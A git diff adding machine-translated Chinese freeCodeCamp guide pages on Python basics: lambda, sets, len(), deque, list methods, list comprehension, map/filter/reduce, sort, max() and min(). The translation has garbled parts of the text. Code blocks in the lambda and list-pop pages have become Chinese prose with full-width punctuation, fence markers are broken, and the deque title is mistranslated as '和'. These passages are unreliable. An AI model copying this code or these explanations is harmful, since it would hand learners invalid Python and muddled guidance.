+## 例子
+
+### 初学者
+
+```py
+lambda_func = lambda x: x**2 # Function that takes an integer and returns its square 
+ lambda_func(3) # Returns 9 
+```
+
+### 中间
+
+```py
+lambda_func = lambda x: True if x**2 >= 10 else False 
+ lambda_func(3) # Returns False 
+ lambda_func(4) # Returns True 
+```
+
+### 复杂
+
+```py
+my_dict = {"A": 1, "B": 2, "C": 3} 
+ sorted(my_dict, key=lambda x: my_dict[x]%3) # Returns ['C', 'A', 'B'] 
+```
+
+### 用例
+
+假设您要从`list`过滤掉奇数。你可以使用`for`循环：
+
+```python
+my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] 
+ filtered = [] 
+ 
+ for num in my_list: 
+     if num % 2 != 0: 
+         filtered.append(num) 
+ 
+ print(filtered)      # Python 2: print filtered 
+ # [1, 3, 5, 7, 9] 
+ ``` 
+ 
+ You could write this as a one liner with list-comprehensions 
+```
+
+蟒蛇 如果x％2！= 0，则过滤= \[x代表\[1,2,3,4,5,6,7,8,9,10\]中的x​​\] \`\`\`
+
+但是你可能会想要使用内置的`filter`功能。为什么？第一个例子有点冗长，单线程可能更难理解，因为`filter`提供两个单词中最好的。更重要的是，内置函数通常更快。
+
+\`\`\`蟒蛇 my\_list = \[1,2,3,4,5,6,7,8,9,10\]
+
+filtered = filter（lambda x：x％2！= 0，my\_list）
+
+列表（过滤）
+
+# \[1,3,5,7,9\]
+
+` `` NOTE: in Python 3 built in function return generator objects, so you have to call` list `, while in Python 2 they return a` list `,` tuple `or` string\`。
+
+发生了什么？你告诉`filter`使用`my_list`每个元素并应用lambda表达式。返回`False`的值将被过滤掉。
+
+#### 更多信息：
+
+*   [官方文件](https://docs.python.org/3/reference/expressions.html#lambda)
+*   [进一步阅读](https://dbader.org/blog/python-lambda-functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/learn-about-python-sets/index.md b/client/src/guide/chinese/python/learn-about-python-sets/index.md
new file mode 100644
index 0000000000..4a5c6ca466
--- /dev/null
+++ b/client/src/guide/chinese/python/learn-about-python-sets/index.md
@@ -0,0 +1,35 @@
+---
+title: Learn About Python Sets
+localeTitle: 了解Python集
+---
+Python中的`Set`是一种可变但无序的数据结构，它只能包含_唯一的_元素。
+
+**创建：**
+
+`set`文字：
+
+圆括号`{}` _不能_用于创建空集：
+
+```python
+>>> not_set = {}     # set constructor must be used to make empty sets. 
+ >>> type(not_set)    # Empty curly brackets create empty dictionaries. 
+ <class 'dict'> 
+```
+
+您只能使用`set()`方法创建一个空集。
+
+```python
+>>> example_set = set() 
+ >>> type(example_set) 
+ <class 'set'> 
+```
+
+但是，如果元素包含在大括号内，那么创建集合的语法是可以接受的。
+
+```python
+>>> example_set_2 = {1, 2, 3} 
+ >>> type(example_set_2) 
+ <class 'set'> 
+```
+
+\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/len-function/index.md b/client/src/guide/chinese/python/len-function/index.md
new file mode 100644
index 0000000000..5bd803bb9c
--- /dev/null
+++ b/client/src/guide/chinese/python/len-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Python Len Function
+localeTitle: Python Len函数
+---
+`len()`是Python 3中的内置函数。此方法返回对象的长度（项数）。它需要一个参数`x` 。
+
+## 参数
+
+它需要一个参数， `x` 。此参数可以是序列（例如字符串，字节，元组，列表或范围）或集合（例如字典，集合或冻结集）。
+
+## 回报价值
+
+此函数返回传递给`len()`函数的参数中的元素数。
+
+## 代码示例
+```
+list1 = [123, 'xyz', 'zara'] # list 
+ print(len(list1)) # prints 3 as there are 3 elements in the list1 
+ 
+ str1 = 'basketball' # string 
+ print(len(str1)) # prints 10 as the str1 is made of 10 characters 
+ 
+ tuple1 = (2, 3, 4, 5) # tuple 
+ print(len(tuple1)) # prints 4 as there are 4 elements in the tuple1 
+ 
+ dict1 = {'name': 'John', 'age': 4, 'score': 45} # dictionary 
+ print(len(dict1)) # prints 3 as there are 3 key and value pairs in the dict1 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CUmt/15)
+
+[官方文件](https://docs.python.org/3/library/functions.html#len)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/list-deque/index.md b/client/src/guide/chinese/python/list-deque/index.md
new file mode 100644
index 0000000000..8e22951887
--- /dev/null
+++ b/client/src/guide/chinese/python/list-deque/index.md
@@ -0,0 +1,32 @@
+---
+title: Deque
+localeTitle: 和
+---
+## 使用列表作为队列
+
+还可以使用列表作为队列，其中需要FIFO（“先进先出”）操作。列表效率不高 使用追加和弹出时的队列，因为它可能会变慢，因为每个追加/弹出都必须将所有元素移动一个。
+
+要实现队列，请使用collections.deque，它设计为具有快速追加和两端弹出。
+
+#### 示例用法
+
+```py
+from collections import deque 
+ queue = deque(["January", "February", "March", "April"] ) 
+ 
+ queue.append("May") 
+ 
+ queue.popleft() 
+ queue.popleft() 
+ 
+ print "Spring months in the list: ", queue 
+```
+
+#### 产量
+```
+Spring months in the list:  deque(['March', 'April', 'May']) 
+```
+
+#### 更多信息：
+
+`collections.deque`的官方文档可以在[这里](https://docs.python.org/3/library/collections.html#collections.deque)找到
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/index.md b/client/src/guide/chinese/python/lists/index.md
new file mode 100644
index 0000000000..f071529f4f
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/index.md
@@ -0,0 +1,124 @@
+---
+title: Lists
+localeTitle: 清单
+---
+**TODO： `list`基本信息**
+
+[Python文档 - 列表](https://docs.python.org/3/library/stdtypes.html#lists)
+
+**创建：**
+
+使用一对方括号创建一个空`list` ：
+
+```shell
+>>> empty_list = [] 
+ >>> type(empty_list) 
+ <class 'list'> 
+ >>> len(empty_list) 
+ 0 
+```
+
+通过用逗号分隔的带有方括号的元素`list`可以使用元素创建列表。列表允许元素具有不同类型（异构），但最常见的是单一类型（同类）：
+
+```shell
+>>> homogeneous_list = [1, 1, 2, 3, 5, 8] 
+ >>> type(homogeneous_list) 
+ <class 'list'> 
+ >>> print(homogeneous_list) 
+ [1, 1, 2, 3, 5, 8] 
+ >>> len(homogeneous_list) 
+ 6 
+ >>> heterogeneous_list = [1, "Hello Campers!"] 
+ >>> print(heterogeneous_list) 
+ [1, "Hello Campers!"] 
+ >>> len(heterogeneous_list) 
+ 2 
+```
+
+`list`构造函数也可用于创建`list` ：
+
+```shell
+>>> empty_list = list()                            # Creates an empty list 
+ >>> print(empty_list) 
+ [] 
+ >>> list_from_iterable = list("Hello campers!")    # Creates a list from an iterable. 
+ >>> print(list_from_iterable) 
+ ['H', 'e', 'l', 'l', 'o', ' ', 'c', 'a', 'm', 'p', 'e', 'r', 's', '!'] 
+```
+
+**访问`list`元素：**
+
+```shell
+>>> my_list = [1, 2, 9, 16, 25] 
+ >>> print(my_list) 
+ [1, 2, 9, 16, 25] 
+```
+
+_零索引_
+
+```shell
+>>> my_list[0] 
+ 1 
+ >>> my_list[1] 
+ 2 
+ >>> my_list[2] 
+ 9 
+```
+
+_包裹索引_
+
+```shell
+>>> my_list[-1] 
+ 25 
+ >>> my_list[-2] 
+ 16 
+```
+
+_解压缩python-3的列表_
+
+```shell
+>>> print(*my_list) 
+ 1 2 9 16 25 
+```
+
+**易变的：**
+
+`lists`是可变容器。可变容器是容器，允许更改容器包含的对象。 **TODO：加入更多？**
+
+_重新排列列表中的元素_
+
+可以使用另一`list`作为索引来提取和重新排列`list`元素。
+
+```shell
+>>> my_list = [1, 2, 9, 16, 25, 34, 53, 21] 
+ >>> my_index = [5, 2, 0] 
+ >>> my_new_list = [my_list[i] for i in my_index] 
+ >>> print(my_new_list) 
+ [34, 9, 1] 
+```
+
+**TODO：这里应讨论以下哪些方面：**
+
+[Python文档 - 有关列表的更多信息](https://docs.python.org/3/tutorial/datastructures.html#more-on-lists)
+
+*   `list.append(x)`将项添加到列表的末尾。相当于\[len（a）：\] = \[x\]。
+    
+*   `list.extend(L)`通过附加给定列表中的所有项来扩展列表。相当于\[len（a）：\] = L.
+    
+*   `list.insert(i, x)`在给定位置插入一个项目。第一个参数是要插入的元素的索引，因此a.insert（0，x）插入列表的前面，而a.insert（len（a），x）等同于a.append（ X）。
+    
+*   `list.remove(x)`从列表中删除值为x的第一个项目。如果没有这样的项目则是错误的。
+    
+*   `list.pop([i])`删除列表中给定位置的项目，然后将其返回。如果未指定索引，则a.pop（）将删除并返回列表中的最后一项。 （方法签名中i周围的方括号表示该参数是可选的，而不是您应该在该位置键入方括号。您将在Python Library Reference中经常看到这种表示法。）
+    
+*   `list.clear()`从列表中删除所有项目。相当于del a \[：\]。
+    
+*   `list.index(x)`返回值为x的第一个项的列表中的索引。如果没有这样的项目则是错误的。
+    
+*   `list.count(x)`返回x在列表中出现的次数。
+    
+*   `list.sort(key=None, reverse=False)`对列表中的项进行排序（参数可用于排序自定义，请参阅sorted（）以获取解释）。
+    
+*   `list.reverse()`在适当的位置反转列表的元素。
+    
+*   `list.copy()`返回列表的浅表副本。相当于\[：\]。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-append-method/index.md b/client/src/guide/chinese/python/lists/list-append-method/index.md
new file mode 100644
index 0000000000..1eb076238b
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-append-method/index.md
@@ -0,0 +1,26 @@
+---
+title: List Append Method
+localeTitle: 列出追加方法
+---
+## 列出追加方法
+
+列表有很多方法，您可以通过在python控制台中键入`help(list)`来探索所有这些方法。 其中之一是append函数，正如名称所示，附加给定列表的参数。
+
+#### 示例用法
+
+```py
+words = ["I", "love", "Python"] 
+ words.append("very much") 
+ print(words) 
+```
+
+#### 产量
+```
+["I", "love", "Python", "very much"] 
+```
+
+您可能已经注意到， `"very much"`的元素会附加到列表中。
+
+#### 更多信息：
+
+`append()`的官方文档可以在[这里](https://docs.python.org/3.6/tutorial/datastructures.html)找到
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-comprehension/index.md b/client/src/guide/chinese/python/lists/list-comprehension/index.md
new file mode 100644
index 0000000000..d67f80caf1
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-comprehension/index.md
@@ -0,0 +1,116 @@
+---
+title: List Comprehension
+localeTitle: 列表理解
+---
+## 列表理解
+
+List Comprehension是一种循环遍历列表以基于某些条件生成新列表的方法。它起初可能令人困惑，但一旦你适应了语法，它就会非常强大和快速。
+
+学习如何使用列表理解的第一步是查看循环遍历列表的传统方式。以下是一个返回偶数数字新列表的简单示例。
+
+```python
+# Example list for demonstration 
+ some_list = [1, 2, 5, 7, 8, 10] 
+ 
+ # Empty list that will be populate with a loop 
+ even_list = [] 
+ 
+ for number in some_list: 
+  if number % 2 == 0: 
+    even_list.append(number) 
+ 
+ # even_list now equals [2, 8, 10] 
+```
+
+首先，使用一些数字创建一个列表。然后创建一个空列表，用于保存循环中的结果。在循环中，检查每个数字是否可被2整除，如果是，则将其添加到even\_list。这需要5行代码，不包括注释和空格，在这个例子中并不多。
+
+现在为列表理解示例。
+
+```python
+# Example list for demonstration 
+ some_list = [1, 2, 5, 7, 8, 10] 
+ 
+ # List Comprehension 
+ even_list = [number for number in some_list if number % 2 == 0] 
+ 
+ # even_list now equals [2, 8, 10] 
+```
+
+另一个例子，有两个相同的步骤： 以下将创建一个与`my_starting_list`的数字相乘的数字`my_starting_list`乘以7。
+
+```py
+my_starting_list = [1, 2, 3, 4, 5, 6, 7, 8] 
+ my_new_list = [] 
+ 
+ for item in my_starting_list: 
+ my_new_list.append(item * 7) 
+```
+
+运行此代码时， `my_new_list`的最终值为： `[7, 14, 21, 28, 35, 42, 49, 56]`
+
+使用列表`my_new_list`的开发人员可以使用以下列表`my_new_list`实现相同的结果，这导致相同的`my_new_list` 。
+
+```py
+my_starting_list = [1, 2, 3, 4, 5, 6, 7, 8] 
+ 
+ my_new_list = [item * 7 for item in my_starting_list] 
+```
+
+以列表理解方式编写的简单公式是：
+
+`my_list = [{operation with input n} for n in {python iterable}]`
+
+但是，如果要更改从iterable返回的项，请将`{operation with input n}`替换为。上面的例子使用`n * 7`但操作可以根据需要简单或复杂。
+
+用任何iterable替换`{python iterable}` 。 [序列类型](https://guide.freecodecamp.org/python/sequence-types)将是最常见的。在上面的示例中使用了一个列表，但元组和范围也很常见。
+
+如果满足某些条件，列表理解会将现有列表中的元素添加到新列表中。它更整洁，但在大多数情况下也快得多。在某些情况下，列表理解可能会妨碍可读性，因此在选择使用列表理解时，开发人员必须权衡他们的选项。
+
+## 带条件的列表理解的例子
+
+可以使用条件来控制列表推导中的控制流。例如：
+
+```py
+only_even_list = [i for i in range(13) if i%2==0] 
+```
+
+这相当于以下循环：
+
+```py
+only_even_list = list() 
+ for i in range(13): 
+  if i%2 == 0: 
+    only_even_list.append(i) 
+```
+
+列表推导还可以包含嵌套的if条件。考虑以下循环：
+
+```py
+divisible = list() 
+ for i in range(50): 
+  if i%2 == 0: 
+    if i%3 == 0: 
+      divisible.append(i) 
+```
+
+使用列表理解，这可以写成：
+
+```py
+divisible = [i for i in range(50) if i%2==0 if i%3==0] 
+```
+
+If-Else语句也可以与列表理解一起使用。
+
+```py
+list_1 = [i if i%2==0 else i*-1 for i in range(10)] 
+```
+
+#### 更多信息：
+
+[Python数据结构 - 列表](https://docs.python.org/2.7/tutorial/datastructures.html)
+
+[Python for Loops](https://guide.freecodecamp.org/python/for-loop-statements)
+
+[Python列表](https://guide.freecodecamp.org/python/learn-about-python-lists)
+
+[Python初学者 - 列表理解](http://www.pythonforbeginners.com/basics/list-comprehensions-in-python)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-extend-method/index.md b/client/src/guide/chinese/python/lists/list-extend-method/index.md
new file mode 100644
index 0000000000..2cd3fbeb6b
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-extend-method/index.md
@@ -0,0 +1,25 @@
+---
+title: List Extend Method
+localeTitle: 列表扩展方法
+---
+## 列表扩展方法
+
+列表有很多方法，您可以通过在python控制台中键入`help(list)`来探索所有这些方法。 其中之一是扩展函数，正如名称所示，通过将列表的所有项（作为参数传递）添加到结尾来扩展列表。
+
+#### 示例用法
+
+```py
+cities = ["San Francisco", "Los Angeles", "New York"] 
+ cities_in_texas = ["San Antonio", "Austin", "Dallas"] 
+ cities.extend(cities_in_texas) 
+ print(cities) 
+```
+
+#### 产量
+```
+["San Francisco", "Los Angeles", "New York", "San Antonio", "Austin", "Dallas"] 
+```
+
+#### 更多信息：
+
+可以在[此处](https://docs.python.org/3.6/tutorial/datastructures.html)找到`extend()`的官方文档
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-index-method/index.md b/client/src/guide/chinese/python/lists/list-index-method/index.md
new file mode 100644
index 0000000000..d7aca83687
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-index-method/index.md
@@ -0,0 +1,59 @@
+---
+title: List Index Method
+localeTitle: 列表索引方法
+---
+## 列表索引方法
+
+在列表数据结构附带的许多函数中， `index()`返回列表中元素的第一个出现/索引，该列表作为函数的参数给出。
+
+列表是最基本的Python数据结构，并按顺序存储值列表（与字典相比，哪个顺序无关紧要）。我们通过数字索引检索项目。
+
+请记住，索引从0开始，或者第一个元素被视为0索引，让我们看看一些例子。
+
+#### 用法示例：
+
+```py
+numbers = [1, 2, 2, 3, 9, 5, 6, 10] 
+ words = ["I", "love", "Python", "I", "love"] 
+ 
+ print(numbers.index(9)) 
+ print(numbers.index(2)) 
+ print(words.index("I")) 
+ print(words.index("am")) 
+```
+
+##### 输出：
+
+```py
+4 
+ 1 
+ 0 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: 'am' is not in list 
+```
+
+这里第一个输出非常明显，但第二个和第三个输出最初可能看起来很混乱。但是请记住`index()`返回元素的第一次出现，因此在这种情况下， `1`和`0`是索引，其中`2`和`"I"`首先出现分别在列表中。
+
+此外，如果在列表中找不到元素，则返回`ValueError` ，就像在`words`列表中索引`"am"`的情况一样。
+
+#### 可选参数：
+
+您还可以使用可选参数将搜索限制为列表的特定子序列，如下例所示：
+
+```py
+words = ["I","am", "a", "I", "am", "Pythonista"] 
+ 
+ print(words.index("am",2,5)) 
+```
+
+##### 输出：
+```
+4 
+```
+
+这里虽然在索引2（包括）和5（不包括）之间搜索元素，但返回的索引是相对于完整列表的开头而不是start参数计算的。
+
+#### 更多信息：
+
+`index()`的官方文档可以在[这里](https://docs.python.org/3.6/tutorial/datastructures.html)找到
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-map-filter-reduce/index.md b/client/src/guide/chinese/python/lists/list-map-filter-reduce/index.md
new file mode 100644
index 0000000000..18cab2b8f6
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-map-filter-reduce/index.md
@@ -0,0 +1,88 @@
+---
+title: Map, Reduce, Filter
+localeTitle: 地图，减少，过滤
+---
# 地图，缩小和过滤
+
+大多数工程师使用列表来处理订单/用户列表等。如果使用多个for循环和嵌套循环，分析列表会变得复杂和混乱。因此，上述方法可以简化列表操作的使用。
+
+## 地图
+
+如果您的任务是将特定方法应用于列表的每个元素，那么map将派上用场。比如，您有一个度数值列表，并且您希望将所有这些值转换为华氏度单位的值列表。
+
+#### 示例用法
+
+```py
+inputs = [10,32,5,40,25] 
+ 
+ def degreesToFahren(deg): 
+    fahrenheit = (9.0/5)*deg +32 
+    return fahrenheit 
+ 
+ # The most common way of doing this 
+ result=[] 
+ for i in inputs: 
+    iTofahren = degreesToFahren(i) 
+    result.append(iTofahren) 
+ print(result)   # [50.0, 89.6, 41.0, 104.0, 77.0] 
+```
+
+```py
+# Using Map 
+ result = list(map(degreesToFahren,inputs)) 
+ print(result) # [50.0, 89.6, 41.0, 104.0, 77.0] 
+```
+
+您可能已经注意到，使用map只是一个单行操作。通常，如果你有data = `[a1,a2,...,an]`和函数`f()` ，那么`map(f,data):`返回一个迭代器而不是`f(a1),f(a2)...f(an).`使用`list()`将迭代器对象转换为python列表。
+
+## 过滤
+
+过滤功能会删除您需要/不需要的列表中的数据，因此会删除名称。比如，您希望根据不需要的值过滤列表，例如高于2的值。
+
+#### 示例用法
+
+```py
+data = [1.2,2.5,5.8,0.4,4.7,9.9] 
+ result = list(filter(lambda x:x > 2,data)) 
+ print(result) 
+```
+
+#### 产量
+```
+[2.5, 5.8, 4.7, 9.9] 
+```
+
+这也是一个简单的1线程，类似于上面的map（）函数。如果您发现此术语不熟悉，请参阅有关lambda函数的教程。
+
+## 减少
+
+来自Python的创造者Guido van Rossum `"Use functools.reduce if you really need it; however, 99% of the time an explicit for loop is more readable"`
+
+它通常做的是将函数`f()`应用于列表中的数据元素，并将该结果用于列表中的下一个值。 在视觉上，
+
+数据= \[a 1 ，a 2 ，...，a n \] function = f（x，y）
+
+减少（F，数据）： 第1步：val 1 = f（a 1 ，a 2 ） 第2步：val 2 = f（val 1 ，a 3 ） 第3步：val 3 = f（val 2 ，a 4 ） 。 。 。 步骤n-1：val n-1 = f（val n-2 ，a n ）
+
+例如，您希望将列表中的所有数字相乘。
+
+#### 示例用法
+
+```py
+from functools import reduce 
+ 
+ input = [1,2,3,4,5,6] 
+ multiplier = lambda x,y:x*y 
+ answer = reduce(multiplier,input) 
+ print(answer) 
+```
+
+#### 产量
+```
+720 
+```
+
+但是，可以使用简单的for循环来计算上述内容，并且优选使用这些方法。
+
+#### 更多信息：
+
+有关上述方法的官方文档，请访问http://book.pythontips.com/en/latest/map\_filter.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-pop/index.md b/client/src/guide/chinese/python/lists/list-pop/index.md
new file mode 100644
index 0000000000..a198804a16
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-pop/index.md
@@ -0,0 +1,31 @@
+---
+title: List Pop Method
+localeTitle: 列出弹出方法
+---
+# 流行功能
+
+pop（）方法从列表中删除并返回最后一个元素。有一个可选参数，即要从列表中删除的元素的索引。 如果未指定索引，则a.pop（）将删除并返回列表中的最后一项。 如果传递给pop（）方法的索引不在范围内，则抛出IndexError：pop index超出范围异常。
+
+#### 示例用法
+
+\`\`\`PY 城市= \[''纽约'，'达拉斯'，'圣安东尼奥'，'休斯顿'，'旧金山'\];
+
+print“City popped is：”，cities.pop（） 打印“索引2处的城市是：”，cities.pop（2） \`\`\`
+
+####输出 `City popped is : San Francisco City at index 2 is : San Antonio`
+
+#### 基本堆栈功能
+
+`pop()`方法通常与`append()`一起使用，以在Python应用程序中实现基本的堆栈功能。
+
+```py
+stack = [] 
+ 
+ for i in range(5): 
+    stack.append(i) 
+ 
+ while len(stack): 
+    print(stack.pop()) 
+```
+
+＃＃＃＃ 更多信息： `pop()`的官方文档可以在[这里](https://docs.python.org/3.6/tutorial/datastructures.html)找到
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-remove-method/index.md b/client/src/guide/chinese/python/lists/list-remove-method/index.md
new file mode 100644
index 0000000000..b499a5956c
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-remove-method/index.md
@@ -0,0 +1,40 @@
+---
+title: List Remove Method
+localeTitle: 列表删除方法
+---
+## 列表删除方法
+
+`remove()`方法从列表中删除给定的参数。
+
+#### 示例用法
+
+```py
+words = ["I", "love", "Python"] 
+ words.remove("I") 
+ print(words) 
+```
+
+#### 产量
+
+```py
+["love","Python"] 
+```
+
+请注意，如果在列表中找不到要删除的元素，则会返回错误，如下例所示。
+
+```py
+kiss = ["keep", "it", "simple", "stupid"] 
+ kiss.remove("complex") 
+ print(kiss) 
+```
+
+#### 产量
+```
+Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: list.remove(x): x not in list 
+```
+
+#### 更多信息：
+
+有关`remove()`更多信息，请[访问此处](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/lists/list-sort-method/index.md b/client/src/guide/chinese/python/lists/list-sort-method/index.md
new file mode 100644
index 0000000000..e33293b556
--- /dev/null
+++ b/client/src/guide/chinese/python/lists/list-sort-method/index.md
@@ -0,0 +1,109 @@
+---
+title: List Sort Method
+localeTitle: 列表排序方法
+---
+## 列表排序方法
+
+Python列表有一个内置的`sort()`方法，它可以就地修改列表，以及一个`sorted()`内置函数，它可以从一个可迭代构建一个新的排序列表。
+
+list.sort（key = ...，reverse = \[True / False\]）
+
+### 参数
+
+此方法有两个可选参数 _key_ - key参数的输入值应该是一个函数，它接受一个参数并返回一个用于比较的值来对列表中的项进行排序 _反向= \[值\]_ _value = True_ ：按降序对列表中的项目进行排序 _value = False_ ：按升序对列表中的项目进行排序。这被视为默认值。 请注意， `sort()`方法不返回任何值。它修改原始列表。
+
+### 示例用法
+
+```py
+a = [4, 2, 5, 3, 1] 
+ a.sort() 
+ print a # prints [1, 2, 3, 4, 5] 
+ 
+ b = ['free', 'code', 'camp'] 
+ b.sort() 
+ print b # prints ['camp', 'code', 'free'] 
+```
+
+考虑一个带**反向**参数的例子
+
+```py
+a = [4, 2, 5, 3, 1] 
+ 
+ #Sorts the list in descending order 
+ a.sort(reverse=True) 
+ 
+ print a # prints [5, 4, 3, 2, 1] 
+```
+
+如果要根据自己的函数对列表进行排序，请使用**key**参数。 下面是按长度按升序对列表中的字符串进行排序的示例
+
+```py
+a = ["hello", "hi", "hey"] 
+ 
+ #The built-in len() function is given as an input to key parameter to sort the strings by length 
+ a.sort(key = len) 
+ 
+ print a # prints ['hi', 'hey', 'hello'] 
+```
+
+这是另一个示例，其中列表包含元组（名称，年龄）。 以下用法显示了如何按年龄按升序对列表进行排序。
+
+```py
+#Consider the second element in the tuple for sorting 
+ >>> def compareByAge(element): 
+ ...     return element[1] 
+ 
+ b = [('Adam', 20), ('Rahman', 30), ('Rahul', 25)] 
+ 
+ #Sort the list by age 
+ b.sort(key = compareByAge) 
+ 
+ #Output 
+ print b # prints [('Adam', 20), ('Rahul', 25), ('Rahman', 30)] 
+```
+
+### 排序基础知识
+
+简单的升序排序非常简单 - 只需调用sorted（）函数即可。它返回一个新的排序列表：
+
+```python
+>>> sorted([5, 2, 3, 1, 4]) 
+ [1, 2, 3, 4, 5] 
+```
+
+您还可以使用列表的list.sort（）方法。它就地修改列表（并返回None以避免混淆）。通常它不如sorted（）方便 - 但如果你不需要原始列表，它会更有效率。
+
+```python
+>>> a = [5, 2, 3, 1, 4] 
+ >>> a.sort() 
+ >>> a 
+ [1, 2, 3, 4, 5] 
+```
+
+另一个区别是list.sort（）方法仅为列表定义。相反，sorted（）函数接受任何iterable。
+
+```python
+>>> sorted({1: 'D', 2: 'B', 3: 'B', 4: 'E', 5: 'A'}) 
+ [1, 2, 3, 4, 5] 
+```
+
+#### 实施细节
+
+如果想知道有关sort函数，算法和时间复杂度等的实现的详细信息，请参阅[此处](http://svn.python.org/projects/python/trunk/Objects/listsort.txt) 。简而言之，sort函数使用TimSort算法，根据Python Developers，它是： -
+
+> 一种适应性，稳定，自然的融合，适度称呼 蒂姆索特（嘿，我赚了它 ）。它在很多方面都有超自然的表现 各种部分有序的数组（需要少于lg（N！）的比较，和 与N-1一样少，但速度与Python之前高度调整的样本一样快 混合随机阵列。
+
+#### sort（）参数
+
+默认情况下，sort（）不需要任何额外的参数。但是，它有两个可选参数：
+
+*   reverse - 如果为true，则排序列表（或按降序排序）
+*   key - 用作排序比较的键的函数
+
+#### 更多信息：
+
+有关`sort()`更多信息，请[访问此处](https://docs.python.org/3/library/functions.html#sorted)
+
+有关sort（）和sorted（）的更多信息，请参见[此处](https://docs.python.org/3.6/tutorial/datastructures.html)
+
+有关sort（）和sorted（）的更多信息，请参见[此处](https://docs.python.org/3.6/tutorial/datastructures.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/max-function/index.md b/client/src/guide/chinese/python/max-function/index.md
new file mode 100644
index 0000000000..731651ed15
--- /dev/null
+++ b/client/src/guide/chinese/python/max-function/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Max Function
+localeTitle: Python Max函数
+---
+`max()`是Python 3中的内置函数。它返回可迭代中的最大项或两个或多个参数中的最大项。
+
+## 参数
+
+此函数将两个或多个数字或任何类型的iterable作为参数。在给出一个iterable作为参数时，我们必须确保iterable中的所有元素都是相同的类型。这意味着我们无法传递一个包含字符串和整数值的列表。 句法： max（iterable，\* iterables \[，key，default\]） max（arg1，arg2，\* args \[，key\]）
+
+有效参数：
+```
+max(2, 3) 
+ max([1, 2, 3]) 
+ max('a', 'b', 'c') 
+```
+
+参数无效：
+```
+max(2, 'a') 
+ max([1, 2, 3, 'a']) 
+ max([]) 
+```
+
+## 回报价值
+
+返回iterable中的最大项。如果提供了两个或多个位置参数，则返回最大的位置参数。如果iterable为空并且未提供default，则引发`ValueError` 。
+
+## 代码示例
+```
+print(max(2, 3)) # Returns 3 as 3 is the largest of the two values 
+ print(max(2, 3, 23)) # Returns 23 as 23 is the largest of all the values 
+ 
+ list1 = [1, 2, 4, 5, 54] 
+ print(max(list1)) # Returns 54 as 54 is the largest value in the list 
+ 
+ list2 = ['a', 'b', 'c' ] 
+ print(max(list2)) # Returns 'c' as 'c' is the largest in the list because c has ascii value larger then 'a' ,'b'. 
+ 
+ list3 = [1, 2, 'abc', 'xyz'] 
+ print(max(list3)) # Gives TypeError as values in the list are of different type 
+ 
+ #Fix the TypeError mentioned above first before moving on to next step 
+ 
+ list4 = [] 
+ print(max(list4)) # Gives ValueError as the argument is empty 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CVok)
+
+[官方文件](https://docs.python.org/3/library/functions.html#max)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/min-function/index.md b/client/src/guide/chinese/python/min-function/index.md
new file mode 100644
index 0000000000..7931171a62
--- /dev/null
+++ b/client/src/guide/chinese/python/min-function/index.md
@@ -0,0 +1,52 @@
+---
+title: Python Min Function
+localeTitle: Python Min函数
+---
+`min()`是Python 3中的内置函数。它返回可迭代中的最小项或两个或多个参数中的最小项。
+
+## 参数
+
+此函数将两个或多个数字或任何类型的iterable作为参数。在给出一个iterable作为参数时，我们必须确保iterable中的所有元素都是相同的类型。这意味着我们无法传递一个包含字符串和整数值的列表。
+
+有效参数：
+```
+min(2, 3) 
+ min([1, 2, 3]) 
+ min('a', 'b', 'c') 
+```
+
+参数无效：
+```
+min(2, 'a') 
+ min([1, 2, 3, 'a']) 
+ min([]) 
+```
+
+## 回报价值
+
+返回iterable中的最小项。如果提供了两个或多个位置参数，则最小的位置参数  
+被退回。如果iterable为空并且未提供default，则引发ValueError。
+
+## 代码示例
+```
+print(min(2, 3)) # Returns 2 as 2 is the smallest of the two values 
+ print(min(2, 3, -1)) # Returns -1 as -1 is the smallest of the two values 
+ 
+ list1 = [1, 2, 4, 5, -54] 
+ print(min(list1)) # Returns -54 as -54 is the smallest value in the list 
+ 
+ list2 = ['a', 'b', 'c' ] 
+ print(min(list2)) # Returns 'a' as 'a' is the smallest in the list in alphabetical order 
+ 
+ list3 = [1, 2, 'abc', 'xyz'] 
+ print(min(list3)) # Gives TypeError as values in the list are of different type 
+ 
+ #Fix the TypeError mentioned above first before moving on to next step 
+ 
+ list4 = [] 
+ print(min(list4)) # Gives ValueError as the argument is empty 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CVir/4)
+
+[官方文件](https://docs.python.org/3/library/functions.html#min)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/more-built-in-types/index.md b/client/src/guide/chinese/python/more-built-in-types/index.md
new file mode 100644
index 0000000000..0eb2cee46a
--- /dev/null
+++ b/client/src/guide/chinese/python/more-built-in-types/index.md
@@ -0,0 +1,9 @@
+---
